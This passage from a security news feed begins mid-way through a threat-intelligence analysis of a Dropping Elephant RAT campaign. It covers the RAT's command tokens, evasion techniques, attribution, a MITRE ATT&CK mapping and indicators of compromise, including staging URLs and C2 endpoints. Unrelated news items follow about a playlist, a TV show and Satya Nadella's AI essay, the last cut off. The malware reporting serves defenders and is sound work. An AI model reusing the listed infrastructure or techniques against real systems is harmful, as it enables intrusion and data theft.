stdout</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">uf</span></span></p></td><td><p><span>File upload</span></p></td><td><p><span>Exfiltrates a specified file</span></p></td></tr></tbody></table><p><span><em>Table 3: Confirmed RAT command handlers with dispatch tokens and behavior</em></span></p><p><span><em></em></span></p><p><span>The RAT identifies tasks by looking for command tokens in the C2 response. Each token is followed by the delimiter </span><span><span data-type="inlineCode">==zz==oo==pp==</span></span><span>. For example, </span><span><span data-type="inlineCode">fl==zz==oo==pp==</span></span><span> tells the RAT to run the file-listing handler.</span></p><h3>Anti-analysis </h3><p><span>The RAT uses several anti-analysis techniques, including control-flow flattening, opaque predicates, dynamic API resolution, stack-built strings, static CRT linking, process blacklist checks, CPUID hypervisor checks, VM artifact checks, and public-IP geolocation checks.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltda9cbc40bbd95f7c/6a31ae6efafcac0008eb5f1a/Control-flow-flattening-dispatcher-skeleton.png" alt="Control-flow-flattening-dispatcher-skeleton.png" caption="Figure 8: Control-flow flattening dispatcher skeleton in decompiler output" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Control-flow-flattening-dispatcher-skeleton.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltda9cbc40bbd95f7c/6a31ae6efafcac0008eb5f1a/Control-flow-flattening-dispatcher-skeleton.png" data-sys-asset-uid="bltda9cbc40bbd95f7c" data-sys-asset-filename="Control-flow-flattening-dispatcher-skeleton.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Control-flow flattening dispatcher skeleton in decompiler output" data-sys-asset-alt="Control-flow-flattening-dispatcher-skeleton.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Control-flow flattening dispatcher skeleton in decompiler output</figcaption></div></figure><p>⠀</p><p><span>During dynamic testing, the process scan and public-IP geolocation checks are executed without triggering self-termination. The RAT built its registration beacon with the full process list in the </span><span><span data-type="inlineCode">mkeoldkf</span></span><span> field and attempted to send it to </span><span><span data-type="inlineCode">gcl-power[.]org</span></span><span>. The connection returned HTTP 522, so the beacon did not reach the origin server during testing. Based on this run, we can confirm the environment checks and reporting behavior. Unfortunately, we cannot determine whether the operator would have killed the session, continued tasking, or taken another action after receiving the process list. </span>The full list of processes and security tools cancould be found in the IOCs section below.</p><h3>Attribution </h3><p><span>To test whether the RAT delivered by Donut was related to Dropping Elephant, we compared it with a known family sample documented by Arctic Wolf in July 2025: SHA-256 </span><span>8b6acc087e403b913254dd7d99f09136dc54fa45cf3029a8566151120d34d1c2</span><span>. That report provides the family context for the reference sample.</span></p><p><span>BinDiff produced low signal, with 8.6% overall similarity. We do not treat this as evidence against shared lineage. The new sample uses control-flow flattening, which changes the control-flow graph structure that BinDiff depends on. Therefore we also compared the samples with Diaphora, using pseudocode and AST-level features less affected by control-flow flattening.</span></p><p><span>Diaphora identified four function-level overlaps that pointed to a shared code usage.</span></p><table><colgroup data-width="1182"><col><col></colgroup><tbody><tr><td><p><span><strong>Functionality</strong></span></p></td><td><p><span><strong>Shared traits</strong></span></p></td></tr><tr><td><p><span>Command execution</span></p></td><td><p><span>Similar allocation, encoding, formatting, and POST structure; repeated use of the 0x2710 buffer constant</span></p></td></tr><tr><td><p><span>Screenshot handling</span></p></td><td><p><span>Same GDI screenshot pattern, including GetSystemMetrics values 78 and 79 and </span><span><span data-type="inlineCode">BitBlt</span></span><span> with 0xCC0020; the newer sample uses WIC instead of GDI+ for encoding</span></p></td></tr><tr><td><p><span>C2 connection</span></p></td><td><p><span>Same WININET request flow: open, connect, open request, send request, read response; the newer sample moves from HTTP to HTTPS with </span><span><span data-type="inlineCode">INTERNET_FLAG_SECURE</span></span></p></td></tr><tr><td><p><span>Shell execution</span></p></td><td><p><span>Shared hidden-window execution and cmd.exe /c chcp 65001 output-capture pattern</span></p></td></tr></tbody></table><p><span><em>Table 4: Code-level overlaps between </em></span><span><span data-type="inlineCode"><em>editor.extracted.exe</em></span></span><span><em> and </em></span><span><span data-type="inlineCode"><em>old_rat.exe</em></span></span><span><em> identified by Diaphora</em></span></p><p><span></span></p><p><span>The LNK lure and delivery chain also resemble prior Dropping Elephant reporting, including PowerShell staging, legitimate binary abuse, scheduled task persistence, extension manipulation during downloads, and DLL side-loading. These overlaps supported the initial hypothesis, but the payload comparison provides the primary evidence for the lineage assessment.</span></p><h2><span>Mitigation guidance</span></h2><h3><span>MITRE ATT&amp;CK techniques</span></h3><table><colgroup data-width="1371"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Tactic</strong></span></p></td><td><p><span><strong>Technique</strong></span></p></td><td><p><span><strong>Observable</strong></span></p></td></tr><tr><td><p><span>Initial Access</span></p></td><td><p><span>Phishing: Spearphishing Attachment [T1566.001]</span></p></td><td><p><span>Malicious </span><span><span data-type="inlineCode">GRES3001.lnk</span></span><span> used as the initial lure artifact; no email artifact recovered</span></p></td></tr><tr><td><p><span>Execution</span></p></td><td><p><span>User Execution: Malicious File [T1204.002]</span></p></td><td><p><span>User opens </span><span><span data-type="inlineCode">GRES3001.lnk</span></span></p></td></tr><tr><td><p><span>Execution</span></p></td><td><p><span>Command and Scripting Interpreter: PowerShell [T1059.001]</span></p></td><td><p><span>LNK launches </span><span><span data-type="inlineCode">conhost.exe</span></span><span>, which starts the PowerShell downloader</span></p></td></tr><tr><td><p><span>Execution</span></p></td><td><p><span>Command and Scripting Interpreter: Windows Command Shell [T1059.003]</span></p></td><td><p><span>RAT </span><span>cmx</span><span> handler runs </span><span><span data-type="inlineCode">cmd.exe /c chcp 65001 | &lt;cmd&gt;</span></span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task/Job: Scheduled Task [T1053.005]</span></p></td><td><p><span><span data-type="inlineCode">GoogleErrorReport</span></span><span> runs </span><span><span data-type="inlineCode">C:\Users\Public\Fondue.exe</span></span><span> every minute</span></p></td></tr><tr><td><p><span>Defense Evasion</span></p></td><td><p><span>Hijack Execution Flow: DLL Side-Loading [T1574.002]</span></p></td><td><p><span><span data-type="inlineCode">Fondue.exe</span></span><span> loads the malicious </span><span><span data-type="inlineCode">APPWIZ.cpl</span></span><span> staged alongside it</span></p></td></tr><tr><td><p><span>Defense Evasion</span></p></td><td><p><span>Masquerading: Match Legitimate Name or Location [T1036.005]</span></p></td><td><p><span>Edge icon spoofing, </span><span><span data-type="inlineCode">GoogleErrorReport</span></span><span> task name, staging in </span><span><span data-type="inlineCode">C:\Users\Public\</span></span></p></td></tr><tr><td><p><span>Defense Evasion</span></p></td><td><p><span>Obfuscated Files or Information [T1027]</span></p></td><td><p><span>Junk file extensions, string splitting, encrypted payload container, encoded C2 fields</span></p></td></tr><tr><td><p><span>Defense Evasion</span></p></td><td><p><span>Reflective Code Loading [T1620]</span></p></td><td><p><span>Donut maps the final PE in memory without writing it to disk</span></p></td></tr><tr><td><p><span>Defense Evasion</span></p></td><td><p><span>Impair Defenses: Disable or Modify Tools [T1562.001]</span></p></td><td><p><span>Donut patches in-process AMSI and WLDP functions before payload execution</span></p></td></tr><tr><td><p><span>Defense Evasion</span></p></td><td><p><span>Virtualization/Sandbox Evasion: System Checks [T1497.001]</span></p></td><td><p><span>CPUID, VM artifact, process blacklist, and public-IP geolocation checks</span></p></td></tr><tr><td><p><span>Discovery</span></p></td><td><p><span>Process Discovery [T1057]</span></p></td><td><p><span>RAT enumerates running processes and sends the process list in </span><span><span data-type="inlineCode">mkeoldkf</span></span></p></td></tr><tr><td><p><span>Discovery</span></p></td><td><p><span>System Information Discovery [T1082]</span></p></td><td><p><span>RAT collects username, computer name, OS version, and host profile fields</span></p></td></tr><tr><td><p><span>Discovery</span></p></td><td><p><span>System Network Configuration Discovery [T1016]</span></p></td><td><p><span>RAT obtains public IP through </span><span><span data-type="inlineCode">api.ipify.org</span></span></p></td></tr><tr><td><p><span>Discovery</span></p></td><td><p><span>System Location Discovery [T1614]</span></p></td><td><p><span>RAT queries </span><span><span data-type="inlineCode">ip2c.org</span></span><span> for country/geolocation</span></p></td></tr><tr><td><p><span>Discovery</span></p></td><td><p><span>File and Directory Discovery [T1083]</span></p></td><td><p><span><span data-type="inlineCode">fl</span></span><span> handler enumerates files</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture [T1113]</span></p></td><td><p><span><span data-type="inlineCode">sc</span></span><span> handler captures the virtual screen with </span><span><span data-type="inlineCode">BitBlt</span></span><span> and encodes it with WIC</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System [T1005]</span></p></td><td><p><span><span data-type="inlineCode">uf</span></span><span> handler exfiltrates files; </span><span><span data-type="inlineCode">fl</span></span><span> handler lists local files</span></p></td></tr><tr><td><p><span>Command and Control</span></p></td><td><p><span>Application Layer Protocol: Web Protocols [T1071.001]</span></p></td><td><p><span>HTTPS C2 traffic to </span><span><span data-type="inlineCode">gcl-power[.]org</span></span></p></td></tr><tr><td><p><span>Command and Control</span></p></td><td><p><span>Data Encoding: Standard Encoding [T1132.001]</span></p></td><td><p><span>C2 fields use Base64 wrapping</span></p></td></tr><tr><td><p><span>Command and Control</span></p></td><td><p><span>Encrypted Channel: Symmetric Cryptography [T1573.001]</span></p></td><td><p><span>C2 field content is protected with Salsa20</span></p></td></tr><tr><td><p><span>Command and Control</span></p></td><td><p><span>Ingress Tool Transfer [T1105]</span></p></td><td><p><span>Initial staging downloads and </span><span><span data-type="inlineCode">dw</span></span><span> download-and-execute capability</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel [T1041]</span></p></td><td><p><span>Host fingerprinting, screenshots, command output, and files leave over the C2 channel</span></p></td></tr></tbody></table><h3><span>Indicators of compromise (IOCs)</span></h3><h4><span>File hashes</span></h4><table><colgroup data-width="1441"><col><col><col></colgroup><tbody><tr><td><p><span><strong>SHA-256</strong></span></p></td><td><p><span><strong>File</strong></span></p></td><td><p><span><strong>Comment</strong></span></p></td></tr><tr><td><p><span>a8ecbd9c049044ca4990a0e5960d19ce782a3b42d7763e9693d7c91ead24a0b7</span></p></td><td><p><span><span data-type="inlineCode">GRES3001.lnk</span></span></p></td><td><p><span>Initial-access shortcut; launches conhost.exe → PowerShell downloader</span></p></td></tr><tr><td><p><span>56d656d684077e7b3231393f5464447cdc8eea81b6415c5f010bc52f0c8cb317</span></p></td><td><p><span><span data-type="inlineCode">GRES3001.pdf</span></span></p></td><td><p><span>Decoy lure document</span></p></td></tr><tr><td><p><span>b58351ead08db413ca499cfeb1b1091ed8bfd68f4089605e452fa01ed46f42b1</span></p></td><td><p><span><span data-type="inlineCode">Fondue.exe</span></span></p></td><td><p><span>Legitimate Microsoft side-loading host</span></p></td></tr><tr><td><p><span>914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6</span></p></td><td><p><span><span data-type="inlineCode">APPWIZ.cpl</span></span></p></td><td><p><span>Malicious side-loaded loader; exports RunFODW</span></p></td></tr><tr><td><p><span>718812adb0d669eea9606432202371e358c7de6cdeafeddad222c36ae0d3f263</span></p></td><td><p><span><span data-type="inlineCode">msvcp140.dll</span></span></p></td><td><p><span>Bundled VC++ runtime; verify against known-good</span></p></td></tr><tr><td><p><span>09d1e604e8cdd06176fcc3d3698861be20638a4391f9f2d9e23f868c1576ca94</span></p></td><td><p><span><span data-type="inlineCode">vcruntime140.dll</span></span></p></td><td><p><span>Bundled VC++ runtime; verify against known-good</span></p></td></tr><tr><td><p><span>a5e448af73b0ff6b6fcfe6ef7808120e1fd7e5c4c9b4edd68e1c980e5ea3406b</span></p></td><td><p><span><span data-type="inlineCode">editor.dat</span></span></p></td><td><p><span>Base64-wrapped AES-256-CBC encrypted payload file</span></p></td></tr><tr><td><p><span>ecab0e747bff16a1163bbd9bb494e68dd4d7ca655ac7279bd4dd73221f7df57c</span></p></td><td><p><span><span data-type="inlineCode">editor.decrypted.bin</span></span></p></td><td><p><span>AES-decrypted Donut loader blob</span></p></td></tr><tr><td><p><span>7099c33933716c00c1f4bdb0281c230b981c76b23d7d1c83abc6f58968267d54</span></p></td><td><p><span><span data-type="inlineCode">editor.extracted.exe</span></span></p></td><td><p><span>Final RAT, carved from memory</span></p></td></tr></tbody></table><h4><span>Network indicators</span></h4><table><colgroup data-width="1348"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Indicator</strong></span></p></td><td><p><span><strong>Type</strong></span></p></td><td><p><span><strong>Notes</strong></span></p></td></tr><tr><td><p><span><span data-type="inlineCode">chinagreenenergy.org</span></span></p></td><td><p><span>Domain</span></p></td><td><p><span>Staging and delivery server</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">https://chinagreenenergy.org/doc/35566/SXxls</span></span></p></td><td><p><span>URL</span></p></td><td><p><span>Decoy PDF download</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">https://chinagreenenergy.org/doc/list/load-list/dfe87bbc-53e0-489f-a9e6-ab8f4be47cb9</span></span></p></td><td><p><span>URL</span></p></td><td><p><span><span data-type="inlineCode">Fondue.exe</span></span><span> download</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">https://chinagreenenergy.org/doc/list/load-list/8daaa3e4-c85e-40c1-a2a2-94679e94c417</span></span></p></td><td><p><span>URL</span></p></td><td><p><span><span data-type="inlineCode">APPWIZ.cpl</span></span><span> download</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">https://chinagreenenergy.org/doc/list/load-list/ecdc6b92-62b5-4acd-99f2-af09902938e1</span></span></p></td><td><p><span>URL</span></p></td><td><p><span><span data-type="inlineCode">msvcp140.dll</span></span><span> download</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">https://chinagreenenergy.org/doc/list/load-list/e7477b17-45f0-420b-b2b1-811d4c1556ea</span></span></p></td><td><p><span>URL</span></p></td><td><p><span><span data-type="inlineCode">vcruntime140.dll</span></span><span> download</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">https://chinagreenenergy.org/doc/list/load-list/000bd4a8-814d-414c-8be8-f0c77a9c7e1e</span></span></p></td><td><p><span>URL</span></p></td><td><p><span><span data-type="inlineCode">editor.dat</span></span><span> download</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">gcl-power.org</span></span></p></td><td><p><span>Domain</span></p></td><td><p><span>Operational C2 over HTTPS/443</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">/prjozifvkpkfhkr/</span></span></p></td><td><p><span>URI path</span></p></td><td><p><span>Registration / check-in</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">/prjozifvkpkfhkr/gedhagammgjvvva/</span></span></p></td><td><p><span>URI path</span></p></td><td><p><span>Command polling endpoint</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">/prjozifvkpkfhkr/spxbjdhxtapivrk/</span></span></p></td><td><p><span>URI path</span></p></td><td><p><span>Screenshot exfiltration endpoint</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">api.ipify.org</span></span></p></td><td><p><span>Domain</span></p></td><td><p><span>Public-IP lookup used during host fingerprinting</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">ip2c.org</span></span></p></td><td><p><span>Domain</span></p></td><td><p><span>Geolocation lookup used during host fingerprinting</span></p></td></tr></tbody></table><h2><span>Conclusion</span></h2><p><span>The campaign analyzed in this blog demonstrates continued Dropping Elephant operational investment and tooling development. The actor reused recognizable delivery patterns, including a China-themed lure, PowerShell-based staging, scheduled task persistence, shortcut-based execution, and DLL side-loading through a trusted Microsoft binary. At the same time, it evolved the final payload into a more evasive, memory-resident implant.</span></p><p><span>The final RAT represents a notable evolution from previously documented Dropping Elephant tooling. It executes entirely in memory, patches AMSI, WLDP, and ETW before running, and incorporates additional obfuscation and anti-analysis techniques that make detection and analysis more difficult.</span></p><p><span>For defenders, the practical takeaway is that Dropping Elephant’s tooling may be changing faster than its operational approach. Hashes, filenames, and infrastructure are likely to change across campaigns, but the path into execution still creates opportunities to detect and disrupt the activity before the final implant runs.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA['Widow's Bay' playlist lasts nearly 10 times longer than the show]]></title>
<description><![CDATA[Apple Music's new "Widow's Bay" playlist lasts so long that it can outlive the entire first season several times over.Patricia's Sunset CocktailsApple Music has published "Patricia's Sunset Cocktails Playlist", a collection inspired by the world of "Widow's Bay." While the playlist page doesn't p...]]></description>
<link>https://tsecurity.de/de/3602721/ios-mac-os/widows-bay-playlist-lasts-nearly-10-times-longer-than-the-show/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602721/ios-mac-os/widows-bay-playlist-lasts-nearly-10-times-longer-than-the-show/</guid>
<pubDate>Tue, 16 Jun 2026 19:24:42 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://appleinsider.com/inside/apple-music" title="Apple Music" data-kpt="1">Apple Music</a>'s new "Widow's Bay" playlist lasts so long that it can outlive the entire first season several times over.<br><br><div><img src="https://photos5.appleinsider.com/gallery/67968-143287-IMG_7603-xl.jpg" alt="Smiling woman indoors holding a large crystal punch bowl filled with dark liquid, another woman behind her, set against a bright red background with a subtle music note graphic" height="738"><span>Patricia's Sunset Cocktails</span></div><br>Apple Music has published "Patricia's Sunset Cocktails Playlist", a collection inspired by the world of "Widow's Bay." While the <a href="https://music.apple.com/us/playlist/patricias-sunset-cocktails-playlist/pl.u-MDAWkl3FAX7zyb1">playlist page</a> doesn't prominently advertise its size, scrolling to the bottom reveals 811 songs with a total runtime of 60 hours and 32 minutes in the US version of Apple Music.<br><br>"Widow's Bay" <a href="https://appleinsider.com/articles/26/04/02/comedy-horror-series-widows-bay-to-haunt-apple-tv-on-april-29">follows a</a> small coastal town whose residents become entangled in a series of strange events and long-buried secrets. Patricia's bar serves as one of the community's gathering places.<br><br>The playlist pulls from a wide range of artists, including David Bowie, Donna Summer, Pat Benatar, Kylie Minogue, Kim Wilde, Pulp, Talk Talk, and Erasure. The mix spans decades of pop, rock, dance, and new wave music.<br><br><br> <a href="https://appleinsider.com/articles/26/06/16/widows-bay-playlist-lasts-nearly-10-times-longer-than-the-show?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244671?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Alles anders bei &quot;Let&#039;s Dance&quot;: RTL-Hit steht vor historischem Umbruch]]></title>
<description><![CDATA[Seit fast 20 Jahren begeistert "Let's Dance" Millionen Zuschauer. Jetzt steht die Kultshow vor einem überraschenden Umbruch, denn hinter den Kulissen wird alles neu geregelt.
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Serie / Webserie,			...]]></description>
<link>https://tsecurity.de/de/3602553/it-nachrichten/alles-anders-bei-quotlet039s-dancequot-rtl-hit-steht-vor-historischem-umbruch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602553/it-nachrichten/alles-anders-bei-quotlet039s-dancequot-rtl-hit-steht-vor-historischem-umbruch/</guid>
<pubDate>Tue, 16 Jun 2026 18:33:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Seit fast 20 Jahren begeistert "Let's Dance" Millionen Zuschauer. Jetzt steht die Kultshow vor einem überraschenden Umbruch, denn hinter den Kulissen wird alles neu geregelt.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/serien/index.html">Serien</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Satya Nadella warns that AI could hollow out entire industries, echoing the damage done by globalization]]></title>
<description><![CDATA[Microsoft CEO Satya Nadella published a sweeping essay on Sunday laying out what he describes as the defining economic challenge of the AI era: the risk that a handful of frontier models will absorb the expertise of entire industries and commoditize it, leaving businesses stripped of their compet...]]></description>
<link>https://tsecurity.de/de/3600170/it-nachrichten/satya-nadella-warns-that-ai-could-hollow-out-entire-industries-echoing-the-damage-done-by-globalization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600170/it-nachrichten/satya-nadella-warns-that-ai-could-hollow-out-entire-industries-echoing-the-damage-done-by-globalization/</guid>
<pubDate>Mon, 15 Jun 2026 22:34:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft CEO Satya Nadella <a href="https://x.com/satyanadella/status/2066182223213293753">published a sweeping essay</a> on Sunday laying out what he describes as the defining economic challenge of the AI era: the risk that a handful of frontier models will absorb the expertise of entire industries and commoditize it, leaving businesses stripped of their competitive moats.</p><p>"The last thing any of us want is a world where every company across every sector is ceding value to a few models that eat everything they see," Nadella wrote in the piece, titled "A frontier without an ecosystem is not stable," which he posted on X. "If all the value is accrued by only a few models, the political economy will simply not tolerate it. There is no societal permission for an AI future that hollows out entire industries."</p><p>The essay is unusually philosophical for a sitting CEO of a $3 trillion technology company. But it arrives at a moment when the theoretical risks Nadella describes are becoming tangible — and, critically, when Microsoft itself is grappling with the very dynamics he warns about.</p><h2>Nadella introduces "token capital" as the new currency of enterprise AI strategy</h2><p>At the center of Nadella's essay sits a conceptual framework built on two pillars he calls "<a href="https://x.com/satyanadella/status/2066182223213293753">human capital</a>" and "<a href="https://x.com/satyanadella/status/2066182223213293753">token capital</a>." Human capital, he writes, "comprises the knowledge, judgment, relationships, ingenuity, and pattern recognition of its people," while token capital refers to "the firm's AI capability it builds and owns."</p><p>The two are not in tension, he insists. "Importantly, human capital does not become less valuable as token capital grows. It only becomes more valuable!" he writes. "I believe human agency will be the driver of token capital growth. Humans will set ambitious goals, connect dots across domains, build relationships, and recognize patterns that matter most. Without human direction, you have compute running in circles."</p><p>This framing is a deliberate counterweight to the narrative that <a href="https://hub.jhu.edu/2026/02/23/will-ai-make-human-workers-obsolete/">AI will simply replace human workers</a> or, at the enterprise level, dissolve the intellectual property that differentiates one company from another. Nadella is arguing that the real danger is not AI's capability but its tendency to centralize — and that the solution requires a fundamentally new architecture for how businesses interact with the technology.</p><p>He describes the real opportunity as "not in picking the best model but instead in building a learning loop on top of models where human capital and token capital compound." The key test of a company's sovereignty in this new era, he writes, is whether it can "switch out a 'generalist' model without losing the 'company veteran' expertise built into their learning system."</p><p>This is the essay's most actionable claim — and its most provocative. Nadella is telling enterprises they need to decouple their institutional intelligence from whatever frontier model they happen to be running, creating portable knowledge systems that survive vendor changes.</p><h2>Why Nadella is comparing AI concentration to the outsourcing crisis that gutted industrial economies</h2><p>Nadella draws a pointed historical parallel to make his warning concrete. "Think about what happened in the first phase of globalization where entire industrial economies were hollowed out by outsourcing," he writes. "The GDP numbers looked fine on the surface, but the displacement was real and the consequences are still being felt. Let us not bring that dynamic into the AI era, with a small number of AI systems capturing all the economic returns, while entire industries find their knowledge commoditized right out from underneath them."</p><p>The globalization analogy is not accidental. It reframes the AI concentration debate from a narrow technology question into a political-economy argument — one that regulators, policymakers, and voters can grasp. By invoking the social costs of offshoring, Nadella is signaling that the stakes extend well beyond the enterprise technology stack. He is warning that if the AI industry fails to distribute value broadly, the political system will intervene to force the issue.</p><p>"In my view, our priority has to be building a frontier ecosystem, not just a frontier model, so value flows broadly across every company, every industry, and every country," he writes. He grounds this in an older platform philosophy: "This is the ethos I've grown up with where platforms enable more value on top than is captured inside, and where every company can continuously innovate and build value of its own." It is a direct echo of the Windows-era argument, updated for the age of inference — and it carries a similarly self-interested subtext, given that Microsoft's cloud business sits squarely in that platform layer.</p><h2>Microsoft's own runaway AI costs reveal the gap between Nadella's vision and operational reality</h2><p>What makes Nadella's essay so striking is its timing. He published it on a day when Reuters reported that <a href="https://www.reuters.com/business/microsoft-sued-by-shareholders-over-expenses-cloud-business-ai-2026-06-15/">Microsoft shareholders filed a proposed class-action lawsuit</a> in Seattle federal court, accusing the company of inflating its stock price by failing to disclose slowing growth in its Azure cloud business and the need to spend billions of dollars on AI infrastructure. The suit names Nadella and Chief Financial Officer Amy Hood among the defendants.</p><p>As the <a href="https://finance.yahoo.com/markets/stocks/articles/msft-stock-rises-despite-shareholder-180947071.html">Yahoo Finance report</a> on the lawsuit noted, Microsoft allegedly "aggressively promoted its AI developments, specifically its 'Copilot' assistant and close financial alliance with ChatGPT creator OpenAI, to artificially boost investor optimism," while understating infrastructure strain and capital risks. Microsoft also reported <a href="https://www.reuters.com/business/retail-consumer/microsoft-edges-past-cloud-growth-expectations-2026-01-28/">$37.5 billion of capital spending</a> in its second quarter, up nearly 66% from a year earlier and above the $34.3 billion that analysts projected.</p><p>Microsoft's internal cost pressures around AI have surfaced in other concrete ways this year. The company is <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">canceling the majority of its internal Claude Code licenses</a> in its Experiences and Devices division, effective June 30, 2026. Monthly usage rates reached 84 to 95% by April 2026, and per-engineer API costs ranged between $500 and $2,000 monthly, according to <a href="https://windowsforum.com/threads/microsoft-cancels-internal-claude-code-licenses-pushes-copilot-cli-by-2026.418482/">Windows Forum</a>. The cancellation came after Microsoft exhausted portions of its annual AI budget due to token-based billing, as <a href="https://fortune.com/2026/05/22/microsoft-ai-cost-problem-tokens-agents/">Fortune</a> had reported in May.</p><p>The Claude Code episode illustrates, at the micro level, the exact dynamic Nadella describes at the macro level. When a company's AI usage is metered by the token — the fundamental unit of compute that powers model inference — the more productive the tool becomes, the more expensive it gets. The term "token capital" in Nadella's essay carries a double meaning: it refers both to a firm's proprietary AI capability and, implicitly, to the actual tokens consumed in running it. Building a learning loop that compounds is aspirational. Paying the bills for that loop is operational reality.</p><h2>Uber, Meta, and Amazon are all hitting the same AI spending wall — and it validates Nadella's warning</h2><p>Microsoft is not alone in this bind. <a href="https://finance.yahoo.com/sectors/technology/articles/uber-burned-entire-2026-ai-180347400.html">Uber burned through its entire 2026 AI coding tools budget</a> in just four months after incentivizing employees to adopt the technology through an internal leaderboard ranking teams by total AI tool usage. Uber has since instituted a monthly $1,500 cap per employee per agentic coding tool, according to <a href="https://techcrunch.com/2026/06/02/uber-caps-employee-ai-spending-after-blowing-through-budget-in-four-months/">TechCrunch</a>. At Meta, an employee created a leaderboard called "<a href="https://finance.yahoo.com/sectors/technology/articles/meta-just-killed-dashboard-let-084400197.html">Claudeonomics</a>" to track which workers consumed the most AI tokens. Amazon, meanwhile, has pushed employees to "<a href="https://fortune.com/2026/05/12/amazon-tokenmaxxing-claude-ai-capex-meta-gil-luria/">tokenmaxx</a>" — use as many AI tokens as possible.</p><p>The emerging pattern is clear: enterprises adopted AI coding tools aggressively, saw genuine productivity gains, and then discovered that the consumption-based economics of frontier models created budget crises that traditional software licensing never would have. Bryan Catanzaro, vice president of applied deep learning at Nvidia, captured the tension bluntly in an <a href="https://fortune.com/article/why-is-the-cost-of-ai-higher-than-human-workers-nvidia-executive/">interview with Axios</a>: "For my team, the cost of compute is far beyond the costs of the employees," he said.</p><p>These cost dynamics land differently in the context of Nadella's essay. He prescribes a three-layer architecture — evaluation, reinforcement learning, and retrieval — designed to sit between a company's workforce and whatever frontier model it subscribes to. Companies, he argues, need to build "private evals" that "capture whether a model is actually improving against outcomes that matter to the business (not just external benchmarks!)," alongside "private reinforcement learning environments" that "let models grow stronger on real traces from inside the organization" and a knowledge base that "makes institutional memory queryable and use of tokens more efficient." He calls the resulting system "a hill climbing machine" that, "unlike most assets, it compounds."</p><h2>Other Big Tech CEOs are echoing Nadella's fears about AI models devouring enterprise knowledge</h2><p>Nadella's concerns do not exist in isolation. Other technology leaders have been raising similar warnings throughout 2026, though none have offered as prescriptive a response.</p><p>Snowflake CEO Sridhar Ramaswamy warned in a <a href="https://podcasts.apple.com/us/podcast/whos-winning-the-ai-race-softwares-future-with/id1522960417?i=1000749256704">February podcast</a> that the biggest software companies risk being reduced to mere data sources. "The big model makers want to create a world in which all of the data for all of the enterprises is easily available to them," Ramaswamy said, describing everything else as "a dumb data pipe that feeds into that big brain." He added that Snowflake needs to operate with a "fear" that enterprises would abandon software-specific AI agents in favor of all-inclusive agents that hoover up data from everywhere.</p><p>Box CEO Aaron Levie struck a similar note in a <a href="https://www.linkedin.com/feed/update/urn:li:activity:7414386514186498048/">January LinkedIn post</a>. AI models can now perform high-level knowledge work across nearly every profession, from law to strategy to scientific research, he argued. "The question that we will have to wrestle with is, in a world where everyone has access to the same expert intelligence, how does a company differentiate?" he wrote.</p><p>The combined effect of these statements is a shared diagnosis from three very different corners of the enterprise technology market: the current trajectory of AI development threatens to collapse competitive differentiation across entire industries. Nadella's essay stands apart from the others because it moves beyond diagnosis and proposes a specific architectural remedy. But the prescription is impossible to separate from the prescriber's interests.</p><p>Microsoft sits in precisely the platform layer that Nadella's framework would make indispensable — the company builds its own frontier models, operates the cloud infrastructure those models run on, and maintains deep partnerships with the leading independent AI labs. A world in which every enterprise builds a proprietary learning loop on top of commodity foundation models is, conveniently, a world in which Microsoft sells the picks and shovels to all of them.</p><h2>Nadella's Scout controversy and shareholder lawsuit reveal the tension inside Microsoft's own AI strategy</h2><p>The essay also arrives just ten days after Nadella publicly rebuked one of his own executives for outlining a plan to "<a href="https://nypost.com/2026/06/05/business/microsofts-satya-nadella-slams-company-exec-for-outlining-plan-to-make-people-addicted-to-scout-ai-tool/">make people addicted</a>" to a new AI tool called Scout.. Microsoft corporate vice president Omar Shahine had written an internal memo describing a three-phase plan to transform Scout "from addictive app to agentic platform," with the first phase focused on features that "make people depend on it daily." Nadella responded 